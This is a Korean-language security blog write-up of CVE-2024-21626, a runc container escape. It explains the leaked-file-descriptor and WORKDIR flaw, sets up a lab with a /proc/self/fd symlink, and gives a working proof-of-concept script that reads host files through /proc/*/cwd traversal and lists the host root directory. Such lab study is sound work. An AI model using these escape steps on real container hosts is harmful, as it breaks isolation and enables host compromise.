HW_chick hacker
[CVE-2024-21626] Docker Escape 본문

0. 서론 및 취약점 환경 구성
0-1. 취약점 설명
해당 취약점은 컨테이너 런타임 컴포넌트 중 하나인 runc 모듈에서 발생한다.
파일 디스크립터 노출 및 잘못된 WORKDIR 설정 취약점
잘못된 WORKDIR 설정과 파일 디스크립터 노출로 인해 도커 컨테이너의 격리가 무너질 수 있다. runc와 같은 실행 도구는 컨테이너 실행 시 여러 파일 디스크립터를 관리하는데, WORKDIR이 호스트 파일 시스템과 연결될 경우 해당 디스크립터가 컨테이너 프로세스로 전달될 수 있다. 이로 인해 컨테이너 내부에서 호스트 파일에 접근할 위험이 발생하며, 궁극적으로 컨테이너 탈출 및 시스템 침해로 이어질 수 있다. 따라서, WORKDIR을 신중히 설정하고 불필요한 파일 디스크립터 노출을 방지해야 한다.
0-2. 취약점 발생 조건
- runc 모듈 버전이 v1.0.0-rc93 이상, 1.1.11 이하
- 컨테이너 내부의 파일 디스크립터가 노출
- 호스트 파일 시스템의 네임스페이스를 working directory 로 사용할 수 있게 허용
0-3. 취약점 환경 구성
- 도커 내부
ln -sf /proc/self/fd/8 /uploads
- 호스트
docker exec -itd -w /uploads flask sleep 99999
1. 정보 수집
1-1. 시스템 정보 수집
# 커널 정보
uname -a
# 호스트 정보 -> Docker 환경 확인
cat /etc/hostname

2. REC 검증
2-1. 연결된 파일 디스크립터가 존재하는지 확인
cat > poc.sh << 'EOF'
#!/bin/bash
for path in /proc/[0-9]*/cwd/../../../etc/hostname
do
if [ -f "$path" ]
then
result=$(cat $path 2>/dev/null)
echo "$path > $result"
fi
done
EOF
# **도커와 연결된 호스트 탐색**
chmod +x poc.sh && ./poc.sh

2-2. 호스트 root 경로 확인
ls -la /proc/<pid>/cwd/../../../root
